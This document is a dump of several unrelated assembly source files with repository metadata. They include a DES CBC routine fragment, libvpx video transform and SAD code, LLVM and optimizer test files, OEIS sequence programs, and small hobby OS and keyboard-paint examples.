ebx,DWORD [44+esp] mov esi,DWORD [ebx] mov edi,DWORD [4+ebx] push edi push esi push edi push esi mov ebx,esp mov esi,DWORD [36+esp] mov edi,DWORD [40+esp] ; getting encrypt flag from parameter 7 mov ecx,DWORD [64+esp] ; get and push parameter 5 mov eax,DWORD [56+esp] push eax ; get and push parameter 4 mov eax,DWORD [56+esp] push eax ; get and push parameter 3 mov eax,DWORD [56+esp] push eax push ebx cmp ecx,0 jz NEAR L$030decrypt and ebp,4294967288 mov eax,DWORD [16+esp] mov ebx,DWORD [20+esp] jz NEAR L$031encrypt_finish L$032encrypt_loop: mov ecx,DWORD [esi] mov edx,DWORD [4+esi] xor eax,ecx xor ebx,edx mov DWORD [16+esp],eax mov DWORD [20+esp],ebx call L$_DES_encrypt3_begin mov eax,DWORD [16+esp] mov ebx,DWORD [20+esp] mov DWORD [edi],eax mov DWORD [4+edi],ebx add esi,8 add edi,8 sub ebp,8 jnz NEAR L$032encrypt_loop L$031encrypt_finish: mov ebp,DWORD [60+esp] and ebp,7 jz NEAR L$033finish call L$034PIC_point L$034PIC_point: pop edx lea ecx,[(L$035cbc_enc_jmp_table-L$034PIC_point)+edx] mov ebp,DWORD [ebp*4+ecx] add ebp,edx xor ecx,ecx xor edx,edx jmp ebp L$036ej7: mov dh,BYTE [6+esi] shl edx,8 L$037ej6: mov dh,BYTE [5+esi] L$038ej5: mov dl,BYTE [4+esi] L$039ej4: mov ecx,DWORD [esi] jmp NEAR L$040ejend L$041ej3: mov ch,BYTE [2+esi] shl ecx,8 L$042ej2: mov ch,BYTE [1+esi] L$043ej1: mov cl,BYTE [esi] L$040ejend: xor eax,ecx xor ebx,edx mov DWORD [16+esp],eax mov DWORD [20+esp],ebx call L$_DES_encrypt3_begin mov eax,DWORD [16+esp] mov ebx,DWORD [20+esp] mov DWORD [edi],eax mov DWORD [4+edi],ebx jmp NEAR L$033finish L$030decrypt: and ebp,4294967288 mov eax,DWORD [24+esp] mov ebx,DWORD [28+esp] jz NEAR L$044decrypt_finish L$045decrypt_loop: mov eax,DWORD [esi] mov ebx,DWORD [4+esi] mov DWORD [16+esp],eax mov DWORD [20+esp],ebx call L$_DES_decrypt3_begin mov eax,DWORD [16+esp] mov ebx,DWORD [20+esp] mov ecx,DWORD [24+esp] mov edx,DWORD [28+esp] xor ecx,eax xor edx,ebx mov eax,DWORD [esi] mov ebx,DWORD [4+esi] mov DWORD [edi],ecx mov DWORD [4+edi],edx mov DWORD [24+esp],eax mov DWORD [28+esp],ebx add esi,8 add edi,8 sub ebp,8 jnz NEAR L$045decrypt_loop L$044decrypt_finish: mov ebp,DWORD [60+esp] and ebp,7 jz NEAR L$033finish mov eax,DWORD [esi] mov ebx,DWORD [4+esi] mov DWORD [16+esp],eax mov DWORD [20+esp],ebx call L$_DES_decrypt3_begin mov eax,DWORD [16+esp] mov ebx,DWORD [20+esp] mov ecx,DWORD [24+esp] mov edx,DWORD [28+esp] xor ecx,eax xor edx,ebx mov eax,DWORD [esi] mov ebx,DWORD [4+esi] L$046dj7: ror edx,16 mov BYTE [6+edi],dl shr edx,16 L$047dj6: mov BYTE [5+edi],dh L$048dj5: mov BYTE [4+edi],dl L$049dj4: mov DWORD [edi],ecx jmp NEAR L$050djend L$051dj3: ror ecx,16 mov BYTE [2+edi],cl shl ecx,16 L$052dj2: mov BYTE [1+esi],ch L$053dj1: mov BYTE [esi],cl L$050djend: jmp NEAR L$033finish L$033finish: mov ecx,DWORD [76+esp] add esp,32 mov DWORD [ecx],eax mov DWORD [4+ecx],ebx pop edi pop esi pop ebx pop ebp ret align 64 L$035cbc_enc_jmp_table: dd 0 dd L$043ej1-L$034PIC_point dd L$042ej2-L$034PIC_point dd L$041ej3-L$034PIC_point dd L$039ej4-L$034PIC_point dd L$038ej5-L$034PIC_point dd L$037ej6-L$034PIC_point dd L$036ej7-L$034PIC_point align 64 align 64 _DES_SPtrans: L$des_sptrans: dd 34080768,524288,33554434,34080770 dd 33554432,526338,524290,33554434 dd 526338,34080768,34078720,2050 dd 33556482,33554432,0,524290 dd 524288,2,33556480,526336 dd 34080770,34078720,2050,33556480 dd 2,2048,526336,34078722 dd 2048,33556482,34078722,0 dd 0,34080770,33556480,524290 dd 34080768,524288,2050,33556480 dd 34078722,2048,526336,33554434 dd 526338,2,33554434,34078720 dd 34080770,526336,34078720,33556482 dd 33554432,2050,524290,0 dd 524288,33554432,33556482,34080768 dd 2,34078722,2048,526338 dd 1074823184,0,1081344,1074790400 dd 1073741840,32784,1073774592,1081344 dd 32768,1074790416,16,1073774592 dd 1048592,1074823168,1074790400,16 dd 1048576,1073774608,1074790416,32768 dd 1081360,1073741824,0,1048592 dd 1073774608,1081360,1074823168,1073741840 dd 1073741824,1048576,32784,1074823184 dd 1048592,1074823168,1073774592,1081360 dd 1074823184,1048592,1073741840,0 dd 1073741824,32784,1048576,1074790416 dd 32768,1073741824,1081360,1073774608 dd 1074823168,32768,0,1073741840 dd 16,1074823184,1081344,1074790400 dd 1074790416,1048576,32784,1073774592 dd 1073774608,16,1074790400,1081344 dd 67108865,67371264,256,67109121 dd 262145,67108864,67109121,262400 dd 67109120,262144,67371008,1 dd 67371265,257,1,67371009 dd 0,262145,67371264,256 dd 257,67371265,262144,67108865 dd 67371009,67109120,262401,67371008 dd 262400,0,67108864,262401 dd 67371264,256,1,262144 dd 257,262145,67371008,67109121 dd 0,67371264,262400,67371009 dd 262145,67108864,67371265,1 dd 262401,67108865,67108864,67371265 dd 262144,67109120,67109121,262400 dd 67109120,0,67371009,257 dd 67108865,262401,256,67371008 dd 4198408,268439552,8,272633864 dd 0,272629760,268439560,4194312 dd 272633856,268435464,268435456,4104 dd 268435464,4198408,4194304,268435456 dd 272629768,4198400,4096,8 dd 4198400,268439560,272629760,4096 dd 4104,0,4194312,272633856 dd 268439552,272629768,272633864,4194304 dd 272629768,4104,4194304,268435464 dd 4198400,268439552,8,272629760 dd 268439560,0,4096,4194312 dd 0,272629768,272633856,4096 dd 268435456,272633864,4198408,4194304 dd 272633864,8,268439552,4198408 dd 4194312,4198400,272629760,268439560 dd 4104,268435456,268435464,272633856 dd 134217728,65536,1024,134284320 dd 134283296,134218752,66592,134283264 dd 65536,32,134217760,66560 dd 134218784,134283296,134284288,0 dd 66560,134217728,65568,1056 dd 134218752,66592,0,134217760 dd 32,134218784,134284320,65568 dd 134283264,1024,1056,134284288 dd 134284288,134218784,65568,134283264 dd 65536,32,134217760,134218752 dd 134217728,66560,134284320,0 dd 66592,134217728,1024,65568 dd 134218784,1024,0,134284320 dd 134283296,134284288,1056,65536 dd 66560,134283296,134218752,1056 dd 32,66592,134283264,134217760 dd 2147483712,2097216,0,2149588992 dd 2097216,8192,2147491904,2097152 dd 8256,2149589056,2105344,2147483648 dd 2147491840,2147483712,2149580800,2105408 dd 2097152,2147491904,2149580864,0 dd 8192,64,2149588992,2149580864 dd 2149589056,2149580800,2147483648,8256 dd 64,2105344,2105408,2147491840 dd 8256,2147483648,2147491840,2105408 dd 2149588992,2097216,0,2147491840 dd 2147483648,8192,2149580864,2097152 dd 2097216,2149589056,2105344,64 dd 2149589056,2105344,2097152,2147491904 dd 2147483712,2149580800,2105408,0 dd 8192,2147483712,2147491904,2149588992 dd 2149580800,8256,64,2149580864 dd 16384,512,16777728,16777220 dd 16794116,16388,16896,0 dd 16777216,16777732,516,16793600 dd 4,16794112,16793600,516 dd 16777732,16384,16388,16794116 dd 0,16777728,16777220,16896 dd 16793604,16900,16794112,4 dd 16900,16793604,512,16777216 dd 16900,16793600,16793604,516 dd 16384,512,16777216,16793604 dd 16777732,16900,16896,0 dd 512,16777220,4,16777728 dd 0,16777732,16777728,16896 dd 516,16384,16794116,16777216 dd 16794112,4,16388,16794116 dd 16777220,16794112,16793600,16388 dd 545259648,545390592,131200,0 dd 537001984,8388736,545259520,545390720 dd 128,536870912,8519680,131200 dd 8519808,537002112,536871040,545259520 dd 131072,8519808,8388736,537001984 dd 545390720,536871040,0,8519680 dd 536870912,8388608,537002112,545259648 dd 8388608,131072,545390592,128 dd 8388608,131072,536871040,545390720 dd 131200,536870912,0,8519680 dd 545259648,537002112,537001984,8388736 dd 545390592,128,8388736,537001984 dd 545390720,8388608,545259520,536871040 dd 8519680,131200,537002112,545259520 dd 128,545390592,8519808,0 dd 536870912,545259648,131072,8519808
20.080372
55
0.677921
73cef9acaea24bdabe50960d08fbaa0b52fe50ab
268
asm
Assembly
src/test/resources/data/searchtests/opt-test4-expected.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
null
null
null
src/test/resources/data/searchtests/opt-test4-expected.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
null
null
null
src/test/resources/data/searchtests/opt-test4-expected.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
null
null
null
org #4000 ld d, #0c ld hl, #c004 ld e, l ld (#d001), a ; two instructions in the middle, just so that "ld a, 4" and "ld e, 4" ld (#d002), a ld a, e ld (#d003), a inc de ld (#d004), a ldir ld (#d005), a loop: jr loop
19.142857
89
0.481343
68e7fa40cf8d453804997a8a2f7a7d62961ca38c
7,241
asm
Assembly
vpx_dsp/x86/inv_txfm_ssse3_x86_64.asm
VTCSecureLLC/linphone-libvpx
d2b4742a04da011adf05a4ea63d041f60e50195a
[ "BSD-3-Clause" ]
8
2016-02-08T11:59:31.000Z
2020-05-31T15:19:54.000Z
vpx_dsp/x86/inv_txfm_ssse3_x86_64.asm
VTCSecureLLC/linphone-libvpx
d2b4742a04da011adf05a4ea63d041f60e50195a
[ "BSD-3-Clause" ]
1
2021-05-05T11:11:31.000Z
2021-05-05T11:11:31.000Z
vpx_dsp/x86/inv_txfm_ssse3_x86_64.asm
VTCSecureLLC/linphone-libvpx
d2b4742a04da011adf05a4ea63d041f60e50195a
[ "BSD-3-Clause" ]
7
2016-02-09T09:28:14.000Z
2020-07-25T19:03:36.000Z
; ; Copyright (c) 2014 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "third_party/x86inc/x86inc.asm" ; This file provides SSSE3 version of the inverse transformation. Part ; of the functions are originally derived from the ffmpeg project. ; Note that the current version applies to x86 64-bit only. SECTION_RODATA pw_11585x2: times 8 dw 23170 pd_8192: times 4 dd 8192 pw_16: times 8 dw 16 %macro TRANSFORM_COEFFS 2 pw_%1_%2: dw %1, %2, %1, %2, %1, %2, %1, %2 pw_m%2_%1: dw -%2, %1, -%2, %1, -%2, %1, -%2, %1 %endmacro TRANSFORM_COEFFS 6270, 15137 TRANSFORM_COEFFS 3196, 16069 TRANSFORM_COEFFS 13623, 9102 %macro PAIR_PP_COEFFS 2 dpw_%1_%2: dw %1, %1, %1, %1, %2, %2, %2, %2 %endmacro %macro PAIR_MP_COEFFS 2 dpw_m%1_%2: dw -%1, -%1, -%1, -%1, %2, %2, %2, %2 %endmacro %macro PAIR_MM_COEFFS 2 dpw_m%1_m%2: dw -%1, -%1, -%1, -%1, -%2, -%2, -%2, -%2 %endmacro PAIR_PP_COEFFS 30274, 12540 PAIR_PP_COEFFS 6392, 32138 PAIR_MP_COEFFS 18204, 27246 PAIR_PP_COEFFS 12540, 12540 PAIR_PP_COEFFS 30274, 30274 PAIR_PP_COEFFS 6392, 6392 PAIR_PP_COEFFS 32138, 32138 PAIR_MM_COEFFS 18204, 18204 PAIR_PP_COEFFS 27246, 27246 SECTION .text %if ARCH_X86_64 %macro SUM_SUB 3 psubw m%3, m%1, m%2 paddw m%1, m%2 SWAP %2, %3 %endmacro ; butterfly operation %macro MUL_ADD_2X 6 ; dst1, dst2, src, round, coefs1, coefs2 pmaddwd m%1, m%3, %5 pmaddwd m%2, m%3, %6 paddd m%1, %4 paddd m%2, %4 psrad m%1, 14 psrad m%2, 14 %endmacro %macro BUTTERFLY_4X 7 ; dst1, dst2, coef1, coef2, round, tmp1, tmp2 punpckhwd m%6, m%2, m%1 MUL_ADD_2X %7, %6, %6, %5, [pw_m%4_%3], [pw_%3_%4] punpcklwd m%2, m%1 MUL_ADD_2X %1, %2, %2, %5, [pw_m%4_%3], [pw_%3_%4] packssdw m%1, m%7 packssdw m%2, m%6 %endmacro ; matrix transpose %macro INTERLEAVE_2X 4 punpckh%1 m%4, m%2, m%3 punpckl%1 m%2, m%3 SWAP %3, %4 %endmacro %macro TRANSPOSE8X8 9 INTERLEAVE_2X wd, %1, %2, %9 INTERLEAVE_2X wd, %3, %4, %9 INTERLEAVE_2X wd, %5, %6, %9 INTERLEAVE_2X wd, %7, %8, %9 INTERLEAVE_2X dq, %1, %3, %9 INTERLEAVE_2X dq, %2, %4, %9 INTERLEAVE_2X dq, %5, %7, %9 INTERLEAVE_2X dq, %6, %8, %9 INTERLEAVE_2X qdq, %1, %5, %9 INTERLEAVE_2X qdq, %3, %7, %9 INTERLEAVE_2X qdq, %2, %6, %9 INTERLEAVE_2X qdq, %4, %8, %9 SWAP %2, %5 SWAP %4, %7 %endmacro %macro IDCT8_1D 0 SUM_SUB 0, 4, 9 BUTTERFLY_4X 2, 6, 6270, 15137, m8, 9, 10 pmulhrsw m0, m12 pmulhrsw m4, m12 BUTTERFLY_4X 1, 7, 3196, 16069, m8, 9, 10 BUTTERFLY_4X 5, 3, 13623, 9102, m8, 9, 10 SUM_SUB 1, 5, 9 SUM_SUB 7, 3, 9 SUM_SUB 0, 6, 9 SUM_SUB 4, 2, 9 SUM_SUB 3, 5, 9 pmulhrsw m3, m12 pmulhrsw m5, m12 SUM_SUB 0, 7, 9 SUM_SUB 4, 3, 9 SUM_SUB 2, 5, 9 SUM_SUB 6, 1, 9 SWAP 3, 6 SWAP 1, 4 %endmacro ; This macro handles 8 pixels per line %macro ADD_STORE_8P_2X 5; src1, src2, tmp1, tmp2, zero paddw m%1, m11 paddw m%2, m11 psraw m%1, 5 psraw m%2, 5 movh m%3, [outputq] movh m%4, [outputq + strideq] punpcklbw m%3, m%5 punpcklbw m%4, m%5 paddw m%3, m%1 paddw m%4, m%2 packuswb m%3, m%5 packuswb m%4, m%5 movh [outputq], m%3 movh [outputq + strideq], m%4 %endmacro INIT_XMM ssse3 ; full inverse 8x8 2D-DCT transform cglobal idct8x8_64_add, 3, 5, 13, input, output, stride mova m8, [pd_8192] mova m11, [pw_16] mova m12, [pw_11585x2] lea r3, [2 * strideq] mova m0, [inputq + 0] mova m1, [inputq + 16] mova m2, [inputq + 32] mova m3, [inputq + 48] mova m4, [inputq + 64] mova m5, [inputq + 80] mova m6, [inputq + 96] mova m7, [inputq + 112] TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9 IDCT8_1D TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9 IDCT8_1D pxor m12, m12 ADD_STORE_8P_2X 0, 1, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 2, 3, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 4, 5, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 6, 7, 9, 10, 12 RET ; inverse 8x8 2D-DCT transform with only first 10 coeffs non-zero cglobal idct8x8_12_add, 3, 5, 13, input, output, stride mova m8, [pd_8192] mova m11, [pw_16] mova m12, [pw_11585x2] lea r3, [2 * strideq] mova m0, [inputq + 0] mova m1, [inputq + 16] mova m2, [inputq + 32] mova m3, [inputq + 48] punpcklwd m0, m1 punpcklwd m2, m3 punpckhdq m9, m0, m2 punpckldq m0, m2 SWAP 2, 9 ; m0 -> [0], [0] ; m1 -> [1], [1] ; m2 -> [2], [2] ; m3 -> [3], [3] punpckhqdq m10, m0, m0 punpcklqdq m0, m0 punpckhqdq m9, m2, m2 punpcklqdq m2, m2 SWAP 1, 10 SWAP 3, 9 pmulhrsw m0, m12 pmulhrsw m2, [dpw_30274_12540] pmulhrsw m1, [dpw_6392_32138] pmulhrsw m3, [dpw_m18204_27246] SUM_SUB 0, 2, 9 SUM_SUB 1, 3, 9 punpcklqdq m9, m3, m3 punpckhqdq m5, m3, m9 SUM_SUB 3, 5, 9 punpckhqdq m5, m3 pmulhrsw m5, m12 punpckhqdq m9, m1, m5 punpcklqdq m1, m5 SWAP 5, 9 SUM_SUB 0, 5, 9 SUM_SUB 2, 1, 9 punpckhqdq m3, m0, m0 punpckhqdq m4, m1, m1 punpckhqdq m6, m5, m5 punpckhqdq m7, m2, m2 punpcklwd m0, m3 punpcklwd m7, m2 punpcklwd m1, m4 punpcklwd m6, m5 punpckhdq m4, m0, m7 punpckldq m0, m7 punpckhdq m10, m1, m6 punpckldq m5, m1, m6 punpckhqdq m1, m0, m5 punpcklqdq m0, m5 punpckhqdq m3, m4, m10 punpcklqdq m2, m4, m10 pmulhrsw m0, m12 pmulhrsw m6, m2, [dpw_30274_30274] pmulhrsw m4, m2, [dpw_12540_12540] pmulhrsw m7, m1, [dpw_32138_32138] pmulhrsw m1, [dpw_6392_6392] pmulhrsw m5, m3, [dpw_m18204_m18204] pmulhrsw m3, [dpw_27246_27246] mova m2, m0 SUM_SUB 0, 6, 9 SUM_SUB 2, 4, 9 SUM_SUB 1, 5, 9 SUM_SUB 7, 3, 9 SUM_SUB 3, 5, 9 pmulhrsw m3, m12 pmulhrsw m5, m12 SUM_SUB 0, 7, 9 SUM_SUB 2, 3, 9 SUM_SUB 4, 5, 9 SUM_SUB 6, 1, 9 SWAP 3, 6 SWAP 1, 2 SWAP 2, 4 pxor m12, m12 ADD_STORE_8P_2X 0, 1, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 2, 3, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 4, 5, 9, 10, 12 lea outputq, [outputq + r3] ADD_STORE_8P_2X 6, 7, 9, 10, 12 RET %endif
23.976821
70
0.556967
0105d350fcf9b4c31008c456b66d710482e62abe
297
asm
Assembly
llvm/test/tools/llvm-ml/parse_only.asm
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
2,338
2018-06-19T17:34:51.000Z
2022-03-31T11:00:37.000Z
llvm/test/tools/llvm-ml/parse_only.asm
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
3,740
2019-01-23T15:36:48.000Z
2022-03-31T22:01:13.000Z
llvm/test/tools/llvm-ml/parse_only.asm
mkinsner/llvm
589d48844edb12cd357b3024248b93d64b6760bf
[ "Apache-2.0" ]
500
2019-01-23T07:49:22.000Z
2022-03-30T02:59:37.000Z
; RUN: llvm-ml %s /Zs /Fo - | FileCheck %s .code t1 PROC ECHO Testing! ret t1 ENDP ; check for the .text symbol (appears in both object files & .s output) ; CHECK-NOT: .text ; CHECK: Testing! ; check for the .text symbol (appears in both object files & .s output) ; CHECK-NOT: .text end
15.631579
71
0.6633
8704cba296d7f57474ab0e722f5989bfa1d0a980
681
asm
Assembly
oeis/060/A060801.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/060/A060801.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/060/A060801.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A060801: Invert transform of odd numbers: a(n) = Sum_{k=1..n} (2*k+1)*a(n-k), a(0)=1. ; 1,3,14,64,292,1332,6076,27716,126428,576708,2630684,12000004,54738652,249693252,1138988956,5195558276,23699813468,108107950788,493140127004,2249484733444,10261143413212,46806747599172,213511451169436,973943760648836,4442695900905308,20265591983228868,92442568114333724,421681656605210884,1923523146797386972,8774252420776513092,40024215810287791516,182572574209885931396,832814439428854073948,3798927048724498506948,17329006364764784386844,79047177726374924920324,360577875902345055827932 mov $1,1 lpb $0 sub $0,1 add $2,$1 add $2,$1 add $3,$1 add $3,$2 mov $1,$3 lpe mov $0,$1
48.642857
490
0.809104
5b3ad964440e9ebcd89a506ecf3972d371352e74
302
asm
Assembly
programs/oeis/120/A120689.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/120/A120689.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/120/A120689.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A120689: a(n) = 10*a(n-1) - 16*a(n-2), n>0. ; 0,3,30,252,2040,16368,131040,1048512,8388480,67108608,536870400,4294966272,34359736320,274877902848,2199023247360,17592186028032,140737488322560,1125899906777088,9007199254609920,72057594037665792 mov $1,2 pow $1,$0 add $1,1 bin $1,3 mul $1,3 mov $0,$1
30.2
198
0.754967
4a183b4da6308ba11ca9764888721b8765ddb057
751
asm
Assembly
KeyPaint/KeyPaint.asm
HSU-S21-CS243/CH4-examples
aff78d964f87bb0c119483539b32a4cbd38c8c08
[ "Apache-2.0" ]
null
null
null
KeyPaint/KeyPaint.asm
HSU-S21-CS243/CH4-examples
aff78d964f87bb0c119483539b32a4cbd38c8c08
[ "Apache-2.0" ]
null
null
null
KeyPaint/KeyPaint.asm
HSU-S21-CS243/CH4-examples
aff78d964f87bb0c119483539b32a4cbd38c8c08
[ "Apache-2.0" ]
null
null
null
//use the keyboard to "paint" our screen //key_right = 132 //left_key = 130 @last_key_press @x_pos //defines x position of our paint cursor @y_pos //defines y position of our paint cursor //listen for keyboard input until key press is the "enter" key (:program_start) //reads last key into last_key_press variable @KBD D=M @last_key_press M=D //if right key was pressed, increment X pos @132 D=D-A @:paint_screen D;JNE //this code only executes when right key was pressed @x_pos M=M+1 //paint at key (:paint_screen) @SCREEN D=A @x_pos A=D+M M=-1 //IF D == 128, then end program @last_key_press D=M @128 //value of "enter" in keyboard D=D-A @:program_end D;JEQ //ELSE, go back to start @:program_start 0;JMP (:program_end) @:program_end 0;JMP
14.72549
62
0.725699
e495a75f87e6cf6b31c9b0de543ccc935bb62442
674
asm
Assembly
oeis/097/A097333.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/097/A097333.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/097/A097333.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A097333: Sum k=0..n, C(n-k, floor(k/2)). ; Submitted by Jon Maiga ; 1,2,2,3,5,7,10,15,22,32,47,69,101,148,217,318,466,683,1001,1467,2150,3151,4618,6768,9919,14537,21305,31224,45761,67066,98290,144051,211117,309407,453458,664575,973982,1427440,2092015,3065997,4493437,6585452,9651449,14144886,20730338,30381787,44526673,65257011,95638798,140165471,205422482,301061280,441226751,646649233,947710513,1388937264,2035586497,2983297010,4372234274,6407820771,9391117781,13763352055,20171172826,29562290607,43325642662,63496815488,93059106095,136384748757,199881564245 mov $2,1 mov $5,1 lpb $0 sub $0,1 sub $3,$4 mov $4,$2 mov $2,$3 add $5,$4 mov $3,$5 lpe mov $0,$5
42.125
494
0.768546
03f3e15ad9331da79009101943b96bca4c2b50ff
1,399
asm
Assembly
source/features/keyboard.asm
CH-Electronics/chos
4a5ac8b704242c60e4462a3ead7faf9ccc71229f
[ "BSD-3-Clause" ]
312
2015-01-05T03:14:47.000Z
2022-03-30T01:47:49.000Z
source/features/keyboard.asm
ekoontz/mikeOS
691040e1c62298bf1322984cd85d497b573be395
[ "BSD-3-Clause" ]
8
2016-08-10T16:50:33.000Z
2021-01-26T09:37:06.000Z
source/features/keyboard.asm
ekoontz/mikeOS
691040e1c62298bf1322984cd85d497b573be395
[ "BSD-3-Clause" ]
155
2015-01-16T10:58:42.000Z
2022-01-12T17:37:21.000Z
; ================================================================== ; MikeOS -- The Mike Operating System kernel ; Copyright (C) 2006 - 2014 MikeOS Developers -- see doc/LICENSE.TXT ; ; KEYBOARD HANDLING ROUTINES ; ================================================================== ; ------------------------------------------------------------------ ; os_wait_for_key -- Waits for keypress and returns key ; IN: Nothing; OUT: AX = key pressed, other regs preserved os_wait_for_key: pusha mov ax, 0 mov ah, 10h ; BIOS call to wait for key int 16h mov [.tmp_buf], ax ; Store resulting keypress popa ; But restore all other regs mov ax, [.tmp_buf] ret .tmp_buf dw 0 ; ------------------------------------------------------------------ ; os_check_for_key -- Scans keyboard for input, but doesn't wait ; IN: Nothing; OUT: AX = 0 if no key pressed, otherwise scan code os_check_for_key: pusha mov ax, 0 mov ah, 1 ; BIOS call to check for key int 16h jz .nokey ; If no key, skip to end mov ax, 0 ; Otherwise get it from buffer int 16h mov [.tmp_buf], ax ; Store resulting keypress popa ; But restore all other regs mov ax, [.tmp_buf] ret .nokey: popa mov ax, 0 ; Zero result if no key pressed ret .tmp_buf dw 0 ; ==================================================================
22.564516
69
0.486776
69c8d376973c424fffa54545e05a93f7649bed22
29,895
asm
Assembly
videocodec/libvpx_internal/libvpx/vp8/common/x86/sad_sse3.asm
Omegaphora/hardware_intel_common_omx-components
2dc257bd12d2604f5bac67d039e2b7e53c255ac9
[ "Apache-2.0" ]
49
2015-01-07T04:37:04.000Z
2022-03-25T08:37:14.000Z
videocodec/libvpx_internal/libvpx/vp8/common/x86/sad_sse3.asm
Omegaphora/hardware_intel_common_omx-components
2dc257bd12d2604f5bac67d039e2b7e53c255ac9
[ "Apache-2.0" ]
15
2015-02-17T09:28:19.000Z
2017-09-23T16:51:25.000Z
videocodec/libvpx_internal/libvpx/vp8/common/x86/sad_sse3.asm
Omegaphora/hardware_intel_common_omx-components
2dc257bd12d2604f5bac67d039e2b7e53c255ac9
[ "Apache-2.0" ]
16
2015-01-08T01:47:24.000Z
2022-02-25T06:06:06.000Z
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; %include "vpx_ports/x86_abi_support.asm" %macro STACK_FRAME_CREATE_X3 0 %if ABI_IS_32BIT %define src_ptr rsi %define src_stride rax %define ref_ptr rdi %define ref_stride rdx %define end_ptr rcx %define ret_var rbx %define result_ptr arg(4) %define max_sad arg(4) %define height dword ptr arg(4) push rbp mov rbp, rsp push rsi push rdi push rbx mov rsi, arg(0) ; src_ptr mov rdi, arg(2) ; ref_ptr movsxd rax, dword ptr arg(1) ; src_stride movsxd rdx, dword ptr arg(3) ; ref_stride %else %if LIBVPX_YASM_WIN64 SAVE_XMM 7, u %define src_ptr rcx %define src_stride rdx %define ref_ptr r8 %define ref_stride r9 %define end_ptr r10 %define ret_var r11 %define result_ptr [rsp+xmm_stack_space+8+4*8] %define max_sad [rsp+xmm_stack_space+8+4*8] %define height dword ptr [rsp+xmm_stack_space+8+4*8] %else %define src_ptr rdi %define src_stride rsi %define ref_ptr rdx %define ref_stride rcx %define end_ptr r9 %define ret_var r10 %define result_ptr r8 %define max_sad r8 %define height r8 %endif %endif %endmacro %macro STACK_FRAME_DESTROY_X3 0 %define src_ptr %define src_stride %define ref_ptr %define ref_stride %define end_ptr %define ret_var %define result_ptr %define max_sad %define height %if ABI_IS_32BIT pop rbx pop rdi pop rsi pop rbp %else %if LIBVPX_YASM_WIN64 RESTORE_XMM %endif %endif ret %endmacro %macro STACK_FRAME_CREATE_X4 0 %if ABI_IS_32BIT %define src_ptr rsi %define src_stride rax %define r0_ptr rcx %define r1_ptr rdx %define r2_ptr rbx %define r3_ptr rdi %define ref_stride rbp %define result_ptr arg(4) push rbp mov rbp, rsp push rsi push rdi push rbx push rbp mov rdi, arg(2) ; ref_ptr_base LOAD_X4_ADDRESSES rdi, rcx, rdx, rax, rdi mov rsi, arg(0) ; src_ptr movsxd rbx, dword ptr arg(1) ; src_stride movsxd rbp, dword ptr arg(3) ; ref_stride xchg rbx, rax %else %if LIBVPX_YASM_WIN64 SAVE_XMM 7, u %define src_ptr rcx %define src_stride rdx %define r0_ptr rsi %define r1_ptr r10 %define r2_ptr r11 %define r3_ptr r8 %define ref_stride r9 %define result_ptr [rsp+xmm_stack_space+16+4*8] push rsi LOAD_X4_ADDRESSES r8, r0_ptr, r1_ptr, r2_ptr, r3_ptr %else %define src_ptr rdi %define src_stride rsi %define r0_ptr r9 %define r1_ptr r10 %define r2_ptr r11 %define r3_ptr rdx %define ref_stride rcx %define result_ptr r8 LOAD_X4_ADDRESSES rdx, r0_ptr, r1_ptr, r2_ptr, r3_ptr %endif %endif %endmacro %macro STACK_FRAME_DESTROY_X4 0 %define src_ptr %define src_stride %define r0_ptr %define r1_ptr %define r2_ptr %define r3_ptr %define ref_stride %define result_ptr %if ABI_IS_32BIT pop rbx pop rdi pop rsi pop rbp %else %if 